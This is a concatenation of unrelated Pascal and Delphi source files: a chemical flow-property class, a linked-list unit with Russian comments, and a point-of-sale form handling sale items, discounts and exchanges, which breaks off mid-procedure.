OTFE_EXCPT_NOT_WNT = 'Operation not available under Windows NT/2000';
type
EOTFEException = Exception;
implementation
END.
|
uses URegularFunctions;
type
Flow = class
mass_flow_rate: real;
mole_flow_rate: real;
volume_flow_rate: real;
mass_fractions: array of real;
mole_fractions: array of real;
volume_fractions: array of real;
temperature, density, molar_mass, heat_capacity: real;
constructor(mass_flow_rate: real; mass_fractions: array of real;
temperature: real);
begin
self.mass_flow_rate := mass_flow_rate;
self.mass_fractions := normalize(mass_fractions);
self.temperature := temperature;
self.volume_fractions := convert_mass_to_volume_fractions(self.mass_fractions);
self.mole_fractions := convert_mass_to_mole_fractions(self.mass_fractions);
self.density := get_flow_density(self.mass_fractions);
self.molar_mass := get_flow_molar_mass(self.mass_fractions);
self.heat_capacity := get_flow_heat_capacity(self.mass_fractions,
self.temperature);
self.mole_flow_rate := self.mass_flow_rate / self.molar_mass;
self.volume_flow_rate := self.mass_flow_rate / self.density / 1000;
end;
end;
begin
var flow1 := new Flow(1000, ArrRandomReal(24, 0.0, 1.0), 500);
flow1.density.Println;
flow1.mole_fractions.PrintLines;
end. |
unit list;
interface
type
TValue = longint;
TNodePos = integer;
TNode = record
value: TValue;
next: ^TNode;
end;
TPNode = ^TNode;
TList = record
first: TPNode; //Указатель на первый узел
count: TNodePos; //количество элементов
end;
TPList = ^TList;
//Создание списка
//Вернет список
function createList(): TPList;
//Добавление узла в список
//list - список
//pos - позиция добавления (если больше чем список, то в конец)
//val - добавляемое значение
procedure addNode(list: TPList; pos: TNodePos; val: TValue);
//Удаление узла из списка
//list - список
//pos - позиция удаляемого элемента
//Вернет true если элемент удален и false если такого элемента нет
function delNode(list: TPList; pos: TNodePos): boolean;
//Поиск элемента по значению
//list - список
//val - искомое значение
//Вернет позицию искомого элемента в списке или 0, если такого нет
function findByValue(list: TPList; val: TValue): TNodePos;
//Получить значение элемента
//list - список
//pos - позиция элемента, у которого надо узнать значение
//val - вернет искомое значение
//Вернет true если всё хорошо, и false если искомого элемента нет
function getValue(list: TPList; pos: TNodePos; var val: TValue): boolean;
//Очистка списка
//list - список
procedure clearList(list: TPList);
//Проверка на пустоту списка
//list - список
//Вернет true если список пустой и false если не пустой
function isClear(list: TPList): boolean;
//Вывод списка на экран
//list - список
procedure printList(list: TPList);
implementation
function createList(): TPList;
var list: TPList;
begin
new(list);
list^.first := nil;
list^.count := 0;
createList := list;
end;
procedure addNode(list: TPList; pos: TNodePos; val: TValue);
var
cur, new_node, tmp: TPNode;
i: TNodePos;
begin
new(new_node);
new_node^.value := val;
//Добавление в начало
if (pos = 1) or (isClear(list)) then
begin
new_node^.next := list^.first;
list^.first := new_node;
inc(list^.count);
end
else
begin
cur := list^.first; //начинаем с первого
if (pos > list^.count) then
pos := list^.count+1;
for i:=2 to pos-1 do
cur := cur^.next;
tmp := cur^.next; //куда указывал узел
cur^.next := new_node;
inc(list^.count);
//Если добавление было в конец
if (pos = list^.count) then
new_node^.next := nil
else
new_node^.next := tmp;
end;
end;
function delNode(list: TPList; pos: TNodePos): boolean;
var
cur, del: TPNode;
i: TNodePos;
begin
//Если список пустой, то не чего удалять
if (isClear(list)) then
delNode := false
else
begin
if (pos = 1) then
begin
del := list^.first;
list^.first := del^.next;
dispose(del);
dec(list^.count);
end
else
begin
//Если позиция дальше чем последний, то удаляем из конца
if (pos > list^.count) then
pos := list^.count;
cur := list^.first;
for i:=1 to pos-2 do
cur := cur^.next;
del := cur^.next;
cur^.next := del^.next;
dispose(del);
dec(list^.count);
end;
delNode := true;
end;
end;
function findByValue(list: TPList; val: TValue): TNodePos;
var
cur: TPNode;
pos: TNodePos;
begin
//Если список пустой, то не чего искать
if (isClear(list)) then
findByValue := 0
else
begin
pos := 0;
cur := list^.first;
for pos:=1 to list^.count do
begin
if (cur^.value = val) then
break;
cur := cur^.next;
end;
if (cur <> nil) then
findByValue := pos
else
findByValue := 0;
end;
end;
function getValue(list: TPList; pos: TNodePos; var val: TValue): boolean;
var
cur: TPNode;
i: TNodePos;
begin
//Проверка выхода за границу
if (pos > list^.count) then
getValue := false
else
begin
cur := list^.first;
for i:=1 to pos-1 do
cur := cur^.next;
val := cur^.value;
getValue := true;
end;
end;
procedure clearList(list: TPList);
begin
while (list^.first <> nil) do
delNode(list, 1);
end;
function isClear(list: TPList): boolean;
begin
isClear := (list^.first = nil);
end;
procedure printList(list: TPList);
var
cur: TPNode;
i: TNodePos;
begin
cur := list^.first;
for i:=1 to list^.count do
begin
write(cur^.value, ' ');
cur := cur^.next;
end;
writeln;
end;
end.
|
(*
-----------------------------------------------------------------------------------------------------
Version :
Date : 02.03.2011
Author : Antonio Marcos Fernandes de Souza (Antonio M F Souza)
Issue :
Solution: call to inheritance
Version :
-----------------------------------------------------------------------------------------------------
*)
unit uPreSaleItem;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Mask, DBCtrls, Grids, DBGrids, DB, PaideForms,
DBTables, Buttons, ADODB, SuperComboADO, siComp, siLangRT, Variants,
cxStyles, cxCustomData, cxGraphics, cxFilter, cxData, cxEdit, cxDBData,
cxGridLevel, cxGridCustomTableView, cxGridTableView, cxGridDBTableView,
cxClasses, cxControls, cxGridCustomView, cxGrid, SubListPanel,
PowerADOQuery, uFrmPOSFunctions, mrBarCodeEdit, uSaleItem, uFrmPromoControl,
LookUpADOQuery, SuperEdit, SuperEditCurrency, uFrmChoosePrice, uFrmEnterMovDocumet,
DbClient, contnrs;
type
TFrmPreSaleItem = class(TFrmParentForms)
Panel1: TPanel;
Panel9: TPanel;
Panel3: TPanel;
spSalePrice: TADOStoredProc;
pnlQuantity: TPanel;
pnlSalesPerson: TPanel;
Label7: TLabel;
cmbSalesPerson: TSuperComboADO;
quFindExchange: TADOQuery;
quFindExchangeIDInventoryMov: TIntegerField;
quFindExchangeUnitPrice: TFloatField;
quFindExchangeQty: TFloatField;
quFindExchangeQtyAvailable: TFloatField;
spHelp: TSpeedButton;
pnlModel: TPanel;
pnlBarCode: TPanel;
Label6: TLabel;
Label4: TLabel;
cmbModel: TSuperComboADO;
Label1: TLabel;
EditQty: TEdit;
Label2: TLabel;
Label9: TLabel;
pnlCostPrice: TPanel;
lblCost: TLabel;
btShowCost: TSpeedButton;
editCostPrice: TEdit;
Label3: TLabel;
EditOriginalSale: TEdit;
pnlExchange: TPanel;
Label8: TLabel;
EditExchange: TEdit;
btnExchange: TSpeedButton;
btOK: TButton;
btCancel: TButton;
SubQty: TSubListPanel;
QuSerialMov: TADOQuery;
QuSerialMovSerialNumber: TStringField;
dsSerial: TDataSource;
Label5: TLabel;
edtSerialNumber: TDBEdit;
btnPicture: TSpeedButton;
SubInvAccessoty: TSubListPanel;
Bevel1: TBevel;
WarrantyModels: TSubListPanel;
quFindExchangedPre: TADOQuery;
quFindExchangedPreIDPreInventoryMov: TIntegerField;
quFindExchangedPreUnitPrice: TBCDField;
quFindExchangedPreQty: TFloatField;
quFindExchangePreInventoryMovID: TIntegerField;
quFindExchangedPreQtyAvailable: TFloatField;
quFindExchangeIDCustomer: TIntegerField;
quFindExchangedPreIDCustomer: TIntegerField;
quFindExchangedPreCanExchangeItem: TBooleanField;
btDiscount: TSpeedButton;
edtCommissions: TEdit;
quSalesPerson: TPowerADOQuery;
quSalesPersonPessoa: TStringField;
quSalesPersonIDPessoa: TIntegerField;
quSalesPersonCommissionPercent: TBCDField;
btSplit: TBitBtn;
lblDepartment: TLabel;
cmbDepartment: TSuperComboADO;
btSearch: TBitBtn;
edtBarcode: TmrBarCodeEdit;
EditSalePrice: TSuperEditCurrency;
EditTotal: TSuperEdit;
btUnlockPrice: TSpeedButton;
edtPriceWithDiscount: TEdit;
EditDiscount: TSuperEdit;
LblDiscount: TLabel;
LblEachTotal: TLabel;
EditEachTotal: TSuperEdit;
Label10: TLabel;
EditTotalDiscount: TSuperEdit;
removeDiscount: TSpeedButton;
removeManualPrice: TSpeedButton;
procedure btOKClick(Sender: TObject);
procedure btCancelClick(Sender: TObject);
procedure cmbModelSelectItem(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure EditQtyChange(Sender: TObject);
procedure EditTotalChange(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure btShowCostClick(Sender: TObject);
procedure btSearchClick(Sender: TObject);
procedure EditQtyKeyPress(Sender: TObject; var Key: Char);
procedure spHelpClick(Sender: TObject);
procedure editCostPriceChange(Sender: TObject);
procedure cmbSalesPersonChange(Sender: TObject);
procedure EditSalePriceKeyPress(Sender: TObject; var Key: Char);
procedure EditExchangeKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure btnExchangeClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnPictureClick(Sender: TObject);
procedure WarrantyModelsAfterParamChanged(Changes: String);
procedure btDiscountClick(Sender: TObject);
procedure btSplitClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure edtBarcodeEnter(Sender: TObject);
procedure edtBarcodeExit(Sender: TObject);
procedure edtBarcodeAfterSearchBarcode(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure cmbDepartmentSelectItem(Sender: TObject);
procedure EditSalePriceCurrChange(Sender: TObject);
procedure EditSalePriceEnter(Sender: TObject);
procedure btUnlockPriceClick(Sender: TObject);
procedure btResetManualPriceClick(Sender: TObject);
procedure btResetDiscountClick(Sender: TObject);
procedure removeManualPriceClick(Sender: TObject);
procedure removeDiscountClick(Sender: TObject);
procedure EditSalePricePressEnter(Sender: TObject);
procedure EditSalePriceExit(Sender: TObject);
private
removeManualPricePressed: Boolean;
priceBeforeChange, priceAfterChange: Currency;
removeDiscountApplied: Boolean;
newItemToAddInCashRegister: boolean;
quantityFromCashRegister: double;
quantityChangedInThisScreen: double;
FListIdPreInventoryOnSameSale: TStringList;
FDepartmentId: String;
//Antonio M F Souza 05.09.2011
FManuallyDiscount: Double;
FSaleItem: TSaleItem;
FFrmPromoControl: TFrmPromoControl;
IsPost, IsModified, fHasWarranty: Boolean;
MyIDPreSale, MyIDCliente : Integer;
MyPreSaleDate : TDateTime;
MyPreInventMovID : Integer;
MyquPreSaleItem, MyquPreSaleValue : TADOStoredProc;
OriginalSalePrice, SalePrice, CostPrice, AvgCost, CustomerDiscount : Double;
IsChangeSale, IsChangeTotal : Boolean;
fOnHand, fOnPreSale, fOnAvailable, fOnPrePurchase : Double;
fNotVerifyQty : Boolean;
SalesPerson : TSalesPerson;
HaveCommissions : Boolean;
FDepartment : Integer;
FAddKitItems : Boolean;
FModelCaseQty: double;
FFrmChoosePrice: TFrmChoosePrice;
FPriceTable: TChoosedPrice;
FFrmEnterMovDocumet: TFrmEnterMovDocumet;
bUnlockPrice : Boolean;
bDisableIncresePrice : Boolean;
// Antonio M F Souza - Feb 21, 2013
isPriceChangedManually: Boolean;
FisRefund: Boolean;
procedure deleteManualDiscount();
procedure deleteManualPrice();
procedure showDiscountButtons();
procedure showManualPriceButton();
// Antonio 2014 May 15 - To clean up OK button action
function saveSaleItem(arg_exchange: Boolean; arg_qty, arg_qtyOnHandInventory, arg_qtyOnHold, arg_discount, arg_eachDiscount: Double; arg_idpreinvExchange: Integer): Boolean;
procedure caseErrorOnSave(arg_error: Integer; arg_exchange: Boolean; arg_discount: Double; arg_idpreinvExchange: Integer);
procedure seeDiscountWasRechead(arg_discount: Double; arg_idpreinvExchange: Integer);
procedure seeEraseAllDiscountAdded(arg_discount: Double; arg_idpreinvExchange: Integer);
procedure seeDiscountLimitRechead();
procedure updateInvoiceGettingHold();
procedure setScreenPosition();
procedure treatLookupModel(isNewItem: boolean);
procedure treatCostPrice();
procedure treatSalePerson(isNewItem: boolean);
procedure treatQuantity(isNewItem: boolean);
function isVisiblePanelCostPrice(): boolean;
function isVisiblePanelSalePerson(): boolean;
procedure RefreshBrowse;
procedure LoadEditValues(quantityAssigned: double);
procedure NextAppend;
procedure SelectModel;
procedure EditValue(bValue:Boolean);
procedure RefreshQty;
procedure RefreshAccessory;
procedure RefreshWarranty;
procedure AfterInsertItem;
procedure ModifytoCommissions;
procedure ArrangeCommissionsList;
procedure RefreshDepartment;
function HasSerialNumber: Boolean;
function ValidateFields: Boolean;
procedure VerifyCommissions;
procedure UpdateSalePriceControl;
function HasPriceTable: Boolean;
function NeedDocument: Boolean;
procedure SetDocument;
procedure GetTablePrice;
procedure GetMovDocument;
function ReturnIDUser : Integer;
function ReturnIDComis : Integer;
procedure treatPanelCostPrice;
procedure treatPanelSalePerson;
procedure refreshSale(arg_idpresale, arg_preinvmovid: Integer; arg_presaledate: TDateTime);
public
function Start(IDPreSale: Integer;
var PreInventMovID: Integer;
PreSaleDate: TDateTime;
IDCliente: Integer;
quPreSaleItem,
quPreSaleValue: TADOStoredProc;
IsNew: Boolean;
Department: Integer;
AFrmPromoControl: TFrmPromoControl = nil;
arg_isRefund: Boolean = false): Boolean;
end;
implementation
uses uPassword, uDM, uAskManager, uInvoice, uMsgBox, uFrmBarcodeSearch,
uFrmSerialNumber, uMsgConstant, uNumericFunctions, uCharFunctions,
uDMGlobal, uSystemConst, uFrmModelPicture, uParamFunctions, Math,
uFrmPreSaleItemDiscount, uFrmAddItemCommission, uFrmAddKitItems,
uFrmInvoiceRefund, uUserObj, uSystemTypes, DateUtils;
{$R *.DFM}
procedure TFrmPreSaleItem.EditValue(bValue:Boolean);
begin
IsModified := bValue;
end;
function TFrmPreSaleItem.HasSerialNumber:Boolean;
begin
// Teste se todos os serial numbers foram preenchidos
with DM.quFreeSQL do
begin
if Active then
Close;
SQL.Clear;
SQL.Add('SELECT IDPreInventoryMov ');
SQL.Add('FROM PreInventoryMov PIM (NOLOCK) ');
SQL.Add('LEFT OUTER JOIN PreSerialMov PSM (NOLOCK) ON (PIM.IDPreInventoryMov = PSM.PreInventoryMovID)');
SQL.Add('JOIN Model M (NOLOCK) ON (PIM.ModelID = M.IDModel)');
SQL.Add('JOIN TabGroup TG (NOLOCK) ON (M.GroupID = TG.IDGroup)');
SQL.Add('WHERE TG.SerialNumber = 1');
SQL.Add('AND PIM.UserID = ' + IntToStr(DM.fUser.ID));
SQL.Add('AND PIM.DocumentID = ' + IntToStr(MyIDPreSale));
SQL.Add('AND PIM.IDPreInventoryMov = ' + IntToStr(MyPreInventMovID));
SQL.Add('GROUP BY IDPreInventoryMov, PIM.Qty ');
SQL.Add('HAVING COUNT(PSM.SerialNumber) < ABS(PIM.Qty)');
Open;
Result := (RecordCount>0);
Close;
end;
end;
function TFrmPreSaleItem.Start(IDPreSale: Integer;
var PreInventMovID: Integer;
PreSaleDate: TDateTime;
IDCliente: Integer;
quPreSaleItem,
quPreSaleValue: TADOStoredProc;
IsNew: Boolean;
Department: Integer;
AFrmPromoControl: TFrmPromoControl;
arg_isRefund: Boolean): Boolean;
begin
MyIDPreSale := IDPreSale;
MyPreSaleDate := PreSaleDate;
IsPost := False;
MyPreInventMovID := PreInventMovID;
MyquPreSaleItem := quPreSaleItem;
MyquPreSaleValue := quPreSaleValue;
MyIDCliente := IDCliente;
newItemToAddInCashRegister := isNew;
FFrmPromoControl := AFrmPromoControl;
FisRefund := arg_isRefund;
FDepartment := Department;
FAddKitItems := False;
{ Alex 09/17/2011 }
EditSalePrice.Text := MyFloatToStr( 0 );
EditDiscount.Text := MyFloatToStr( 0 );
EditTotalDiscount.Text := MyFloatToStr( 0 );
EditEachTotal.Text := MyFloatToStr( 0 );
EditTotal.Text := MyFloatToStr( 0 );
if DM.fPOS.fCommisList = Nil then
DM.fPOS.fCommisList := TStringList.Create;
edtCommissions.Visible := False;
if ( not newItemToAddInCashRegister ) then
begin
GetTablePrice;
GetMovDocument;
end;
//Antonio M F Souza 05.09.2011
FManuallyDiscount := 0;
EditDiscount.Text := MyFloatToStr( 0 );
EditTotalDiscount.Text := MyFloatToStr( 0 );
FListIdPreInventoryOnSameSale := TStringList.Create();
ShowModal;
Result := IsPost;
// Retorna o alterado ou inserido
if Result then
PreInventMovID := MyPreInventMovID;
end;
procedure TFrmPreSaleItem.btOKClick(Sender: TObject);
var
ctrl: TWincontrol;
qtyOnHand, qtyOnHold: Double;
operation: String;
IdpreInvMov: integer;
qtyPreInventoryCurrent: double;
OutQtyPreSale: double;
OutDiscount: double;
NewSalesPerson : Integer;
QtyTest, Qty,
ExchangeQty : Double;
IDCustomerExchange : Integer;
bCanExchangeDeliver: Boolean;
IDPreInvMovExchange: integer;
iError : Integer;
EachDiscount,
Discount : Double;
DifLine : Double;
fFrmSerialNumber : TFrmSerialNumber;
ExchangeUnitPrice : Currency;
fEmptyExchanged : Boolean;
fCashRegType : Integer;
lExchange : Boolean;
fIDInvExchange : Integer;
fIDPreExchange : Integer;
DiscountSaleValue : Double;
IDPreInvMovUpdate : Integer;
procedure CheckSerialNumber;
begin
//Verify Serial numbers and popup serialnumber screen.
//if HasSerialNumber then
if ( dm.isGiftCardModel(strToInt(cmbModel.LookUpValue)) ) then begin
fFrmSerialNumber := TFrmSerialNumber.Create(Self);
FListIdPreInventoryOnSameSale.Add(intTostr(FSaleItem.IDPreSale) + '/' + intTostr(FSaleItem.IDPreInventoryMov));
fFrmSerialNumber.setListFromPreInventoryMovOnSameSale(FListIdPreInventoryOnSameSale);
fFrmSerialNumber.StartOnSales(SERIAL_HOLD,
StrToInt(cmbModel.LookUpValue),
DM.fStore.IDStoreSale,
MyStrToDouble(EditQty.Text),
MyPreInventMovID);
end;
end;
begin
Ctrl := ActiveControl;
ActiveControl := nil;
PostMessage(TWinControl(Ctrl).Handle, WM_SETFOCUS, 0, 0);
TWinControl(Ctrl).SetFocus;
if Trim(cmbModel.Text) = '' then
begin
btCancel.click;
Exit;
end;
if not ValidateFields then
Exit;
Qty := MyStrToDouble(EditQty.Text);
lExchange := False;
Discount := 0;
//Antonio M F Souza 09.05.2011 - in test
if ( IsChangeSale ) then begin
Discount := 0;
IsChangeSale := False;
end;
{ Begin Alex 09/16/2011 - Sale price can be changed manually, not configuring an }
{ actual discount. So sale price will obey the form information and discount }
{ will allways come from the textBox Each Disc. }
SalePrice := MyStrToMoney( EditSalePrice.Text );
EachDiscount := MyStrToDouble( EditDiscount.Text );
Discount := MyStrToDouble( EditTotalDiscount.Text );
FManuallyDiscount := Discount;
{ End Alex 09/16/2011 }
if (TruncMoney(MyStrToMoney(EditSalePrice.Text), DM.FQtyDecimal) < TruncMoney(CostPrice, DM.FQtyDecimal)) and
(MyStrToMoney(EditSalePrice.Text) > 0) then
begin
if Password.HasFuncRight(4) then
begin
if MsgBox(MSG_QST_PRICE_BELLOW, vbYesNo + vbQuestion) = vbNo then
begin
EditSalePrice.SetFocus;
Exit;
end;
end
else
begin
EditSalePrice.SetFocus;
MsgBox(MSG_INF_NOT_SELL_BELLOW_COST, vbOKOnly + vbInformation);
Exit;
end;
end;
if (Discount > 0) and (not bUnlockPrice) and (not Password.HasFuncRight(41)) then
begin
MsgBox(MSG_INF_NOT_GIVE_DICOUNT, vbCritical + vbOKOnly);
Exit;
end;
// Testa se pode dar devolucao do Invoice Original
fCashRegType := DM.fSystem.SrvParam[PARAM_SALE_SCREEN_TYPE];
if pnlExchange.Visible then
begin
fEmptyExchanged := True;
fHasWarranty := False;
fIDPreExchange := 0;
fIDInvExchange := 0;
case fCashRegType of
CASHREG_TYPE_POS:
begin
fIDInvExchange := MyStrToInt(DM.DescCodigo(['InvoiceCode'], [QuotedStr(EditExchange.Text)], 'Invoice', 'IDInvoice'));
if fIDInvExchange = 0 then
fIDInvExchange := MyStrToInt(DM.DescCodigo(['CupomFiscal'], [QuotedStr(FormatFloat('000000', MyStrToInt(EditExchange.Text)))], 'Invoice', 'IDInvoice'));
end;
CASHREG_TYPE_OFFICE:
begin
fIDPreExchange := MyStrToInt(DM.DescCodigo(['SaleCode', 'IDStore'], [QuotedStr(EditExchange.Text),IntToStr(DM.fStore.ID)], 'Invoice', 'IDPreSale'));
fIDInvExchange := MyStrToInt(DM.DescCodigo(['SaleCode', 'IDStore'], [QuotedStr(EditExchange.Text),IntToStr(DM.fStore.ID)], 'Invoice', 'IDInvoice'));
end;
end;
//52 = Pode fazer troca por itens no invoice
if (fIDInvExchange <> 0) and (Password.HasFuncRight(52)) then
with quFindExchange do
begin
Close;
Parameters.ParambyName('IDInvoice').Value := fIDInvExchange;
Parameters.ParambyName('IDModel').Value := MyStrToInt(cmbModel.LookUpValue);
Open;
fEmptyExchanged := IsEmpty;
if (not fEmptyExchanged) and (RecordCount >= 1) then
begin
// em fase de teste !!
// Achou item unico no Invoice
IDPreInvMovExchange := quFindExchangePreInventoryMovID.AsInteger;
ExchangeUnitPrice := TruncMoney(quFindExchangeUnitPrice.AsFloat, DM.FQtyDecimal);
ExchangeQty := quFindExchangeQtyAvailable.Value;
IDCustomerExchange := quFindExchangeIDCustomer.AsInteger;
end
else
begin
// Achou varios itens, deve escolher qual item
end;
Close;
end;
//Verifica se tem o Item no PreInv
if fEmptyExchanged and (fCashRegType = CASHREG_TYPE_OFFICE) then
begin
with quFindExchangedPre do
begin
Close;
Parameters.ParambyName('IDPreSale').Value := fIDPreExchange;
Parameters.ParambyName('IDModel').Value := MyStrToInt(cmbModel.LookUpValue);
Open;
fEmptyExchanged := IsEmpty;
if (not fEmptyExchanged) and (RecordCount >= 1) then
begin
// em fase de teste !!
// Achou item unico no Invoice
IDPreInvMovExchange := quFindExchangedPreIDPreInventoryMov.AsInteger;
ExchangeUnitPrice := TruncMoney(quFindExchangedPreUnitPrice.AsFloat, DM.FQtyDecimal);
ExchangeQty := quFindExchangedPreQtyAvailable.Value;
IDCustomerExchange := quFindExchangedPreIDCustomer.AsInteger;
bCanExchangeDeliver := quFindExchangedPreCanExchangeItem.AsBoolean;
end
else
begin
// Achou varios itens, deve escolher qual item
end;
Close;
end;
end;
// Nao achou item no Invoice
if fEmptyExchanged then
begin
if Password.HasFuncRight(5) then
begin
if MsgBox(MSG_QST_INVOICE_DONOT_HAVE_ITEM, vbYesNo + vbQuestion) = vbNo then
Exit;
end
else
begin
MsgBox(MSG_INF_INVOICE_NOT_HAVE_ITEM, vbOKOnly + vbInformation);
Exit;
end;
end;
//Verifica se o cliente e o mesmo
if Password.HasFuncRight(53) then
begin
if IDCustomerExchange <> MyIDCliente then
begin
MsgBox(MSG_INF_CUSTOMER_NOT_MATCH, vbOKOnly + vbInformation);
Exit;
end;
end;
//Verifica o estatos da entrega antes de trocar
if DM.fSystem.SrvParam[PARAM_CONFIRM_DELIVERY_ON_SALE] then
if (fIDInvExchange = 0) and (Password.HasFuncRight(54) and (not bCanExchangeDeliver)) then
begin
MsgBox(MSG_INF_VERIFY_DELIVER_STATUS, vbOKOnly + vbInformation);
Exit;
end;
// Testa se valor do item e igual ao que foi vendido originalmente
if Abs(StrToCurr(EditSalePrice.Text)) <> Abs(ExchangeUnitPrice) then
if Password.HasFuncRight(6) then
begin
if MsgBox(MSG_INF_PART_ITEM_SOLD_FOR + FloatToStrF(ExchangeUnitPrice, ffCurrency, 20, DM.FQtyDecimal) + '._' +
MSG_QST_CONTINUE, vbYesNo + vbQuestion) = vbNo then
Exit;
end
else
begin
MsgBox(MSG_INF_PART_ITEM_SOLD_FOR + FloatToStrF(ExchangeUnitPrice, ffCurrency, 20, DM.FQtyDecimal),
vbOKOnly + vbInformation);
EditSalePrice.Text := FloatToStrF(ExchangeUnitPrice, ffNumber, 20, DM.FQtyDecimal);
SalePrice := MyStrToMoney(EditSalePrice.Text);
Exit;
end;
// ** Testa se a qty de refund é maior que a qty vendida
if (ExchangeQty < (-MyStrToDouble(EditQty.Text))) then
begin
MsgBox(MSG_INF_WRONG_QTY, vbOKOnly + vbInformation);
EditQty.SetFocus;
Exit;
end;
// Testa se o novo valor sera menor que zero, caso seja so o manager pode realizar
if ( not newItemToAddInCashRegister ) then
DifLine := MyquPreSaleItem.FieldByName('TotalItem').AsFloat
else
DifLine := 0;
if (MyquPreSaleValue.FieldByName('SubTotal').AsFloat - DifLine +
MyStrToMoney(EditTotal.Text) < 0) and not Password.HasFuncRight(7) then
begin
EditQty.SetFocus;
MsgBox(MSG_INF_MANAGER_TONEGATIVE_DISC, vbOKOnly + vbInformation);
Exit;
end;
// seta o vendedor
if cmbSalesPerson.LookUpValue = '' then
begin
NewSalesPerson := DM.fUser.IDCommission;
cmbSalesPerson.LookUpValue := IntToStr(NewSalesPerson);
end;
lExchange := True;
end;
if ( newItemToAddInCashRegister ) then
begin
// Teste de Model vazio
if (cmbModel.LookUpValue = '') then
begin
cmbModel.SetFocus;
MsgBox(MSG_CRT_NO_MODEL, vbOKOnly + vbInformation);
Exit;
end;
if Qty > 0 then
begin
//Teste da quantidade disponivel
QtyTest := fOnAvailable;
if DM.fSystem.SrvParam[PARAM_INCLUDEPREPURCHASE] then
QtyTest := QtyTest + fOnPrePurchase;
if (Qty > QtyTest) and (not fNotVerifyQty) then
begin
if not (DM.fSystem.SrvParam[PARAM_SALEONNEGATIVE] or Password.HasFuncRight(8)) then
begin
if MsgBox(MSG_QST_INV_NEGATIVE, vbYesNo + vbQuestion) = vbNo then
Exit;
with TFrmAskManager.Create(Self) do
if not Start('To complete this operation you must have Manager Authorization.') then
Exit;
end
else
begin
MsgBox(MSG_EXC_QTY_BIGGER, vbOKOnly + vbExclamation);
end;
end;
end;
end;
//Testa garantia selecionada
//Garantia so pode ser trelada ha um item
if fHasWarranty and (MyStrToDouble(EditQty.Text) <> 1) then
begin
MsgBox(MSG_INF_NOT_QTY_GREATER_1, vbOKOnly + vbExclamation);
EditQty.SetFocus;
Exit;
end;
IsPost := True;
Screen.Cursor := crHourGlass;
FSaleItem.IDCustomer := MyIDCliente;
FSaleItem.IDPreSale := MyIDPreSale;
FSaleItem.IDModel := StrToInt(cmbModel.LookUpValue);
FSaleItem.IDStore := DM.fStore.IDStoreSale;
FSaleItem.SellingPrice := abs(SalePrice);
FSaleItem.Qty := Qty; //YAA
FSaleItem.IDUser := DM.fUser.ID;
FSaleItem.IDCommission := MyStrToInt(cmbSalesPerson.LookUpValue);
FSaleItem.PreSaleDate := MyPreSaleDate;
FSaleItem.IDPreInventoryMov := MyquPreSaleItem.FieldByName('IDInventoryMov').AsInteger;
FSaleItem.IDPreInventoryMovParent := MyquPreSaleItem.FieldByName('IDMovParent').AsInteger;
FSaleItem.CustomerSellingPrice := FSaleItem.SellingPrice;
FSaleItem.KitSellingPrice := FSaleItem.SellingPrice;
FSaleItem.Barcode := edtBarcode.Text;
if Assigned(FPriceTable) then
begin
FSaleItem.IDDescriptionPrice := FPriceTable.IDDescriptionPrice;
FSaleItem.IDVendorPrice := FPriceTable.IDVendor;
FSaleItem.SuggPrice := FPriceTable.SuggPrice;
end;
if NeedDocument then
SetDocument;
// Antonio 2014 May 15
fSaleItem.Promo := MyquPreSaleItem.FieldByName('Promo').AsBoolean;
operation := 'update';
if ( newItemToAddInCashRegister ) then begin
fSaleItem.Promo := false;
if FAddKitItems then begin
with TFrmAddKitItems.Create(Self) do
Start(FSaleItem);
RefreshBrowse;
Screen.Cursor := crDefault;
Close;
Exit;
end;
operation := 'add';
end;
// Antonio 2014 May 15
// DM.fPOS.AddPreSaleItemCommission(FSaleItem.IDPreInventoryMov, DM.fPOS.fDefaultSalesPerson);
saveSaleItem(lExchange, fSaleItem.Qty, fOnHand, fOnPreSale, discount, EachDiscount, IDPreInvMovExchange);
//Verifica se o Item tem Serial Number
CheckSerialNumber;
RefreshBrowse;
//Poll Display
DM.PollDisplayDeleteItem(IDPreInvMovUpdate);
{ removed to test
DM.PollDisplayInvInfo('',
Trunc(MyPreSaleDate),
MyquPreSaleValue.FieldByName('AditionalExpenses').AsCurrency,
MyquPreSaleValue.FieldByName('TotalDiscount').AsCurrency,
MyquPreSaleValue.FieldByName('Tax').AsCurrency,
MyquPreSaleValue.FieldByName('SubTotal').AsCurrency);
DM.PollDisplayAddItem(MyPreInventMovID,
StrToInt(cmbModel.LookUpValue),
MyquPreSaleItem.FieldByName('Model').AsString,
MyquPreSaleItem.FieldByName('Description').AsString,
Qty,
SalePrice,
Discount);
}
Screen.Cursor := crDefault;
// Fecha depois da alteracao
Close;
if DM.fPOS.fCommisList.Count > 0 then
DM.fPOS.AddSaleItemCommission(MyPreInventMovID,SALE_PRESALE);
if Assigned(FPriceTable) then
FreeAndNil(FPriceTable);
//Atualiza o impost ST
if DM.fSystem.SrvParam[PARAM_ENABLE_INDUSTRY_OPTION] then
DM.CalcularImpostoST(MyIDPreSale);
UpdateSalePriceControl;
end;
procedure TFrmPreSaleItem.RefreshBrowse;
begin
Screen.Cursor := crHourGlass;
with MyquPreSaleItem do
begin
Close;
Parameters.ParambyName('@DocumentID').Value := MyIDPreSale;
Parameters.ParambyName('@IsPreSale').Value := True;
Open;
Locate('IDInventoryMov', IntToStr(MyPreInventMovID), []);
end;
with MyquPreSaleValue do
begin
Close;
Parameters.ParambyName('@PreSaleID').Value := MyIDPreSale;
Open;
end;
Screen.Cursor := crDefault;
end;
procedure TFrmPreSaleItem.btCancelClick(Sender: TObject);
begin
if IsModified then
if (cmbModel.Text <> '') and (MsgBox (MSG_QST_SURE, vbYesNo + vbQuestion) = vbNo) then
Exit;
ModalResult := mrCancel;
end;
procedure TFrmPreSaleItem.cmbModelSelectItem(Sender: TObject);
begin
SelectModel;
btOk.Default := True;
end;
procedure TFrmPreSaleItem.FormShow(Sender: TObject);
begin
inherited;
removeManualPricePressed := false;
Screen.Cursor := crHourGlass;
treatSalePerson(newItemToAddInCashRegister);
treatQuantity(newItemToAddInCashRegister);
treatCostPrice;
UpdateSalePriceControl;
btShowCostClick(nil);
IsChangeSale := True;
IsChangeTotal := True;
isPriceChangedManually := false;
pnlBarCode.Visible := True;
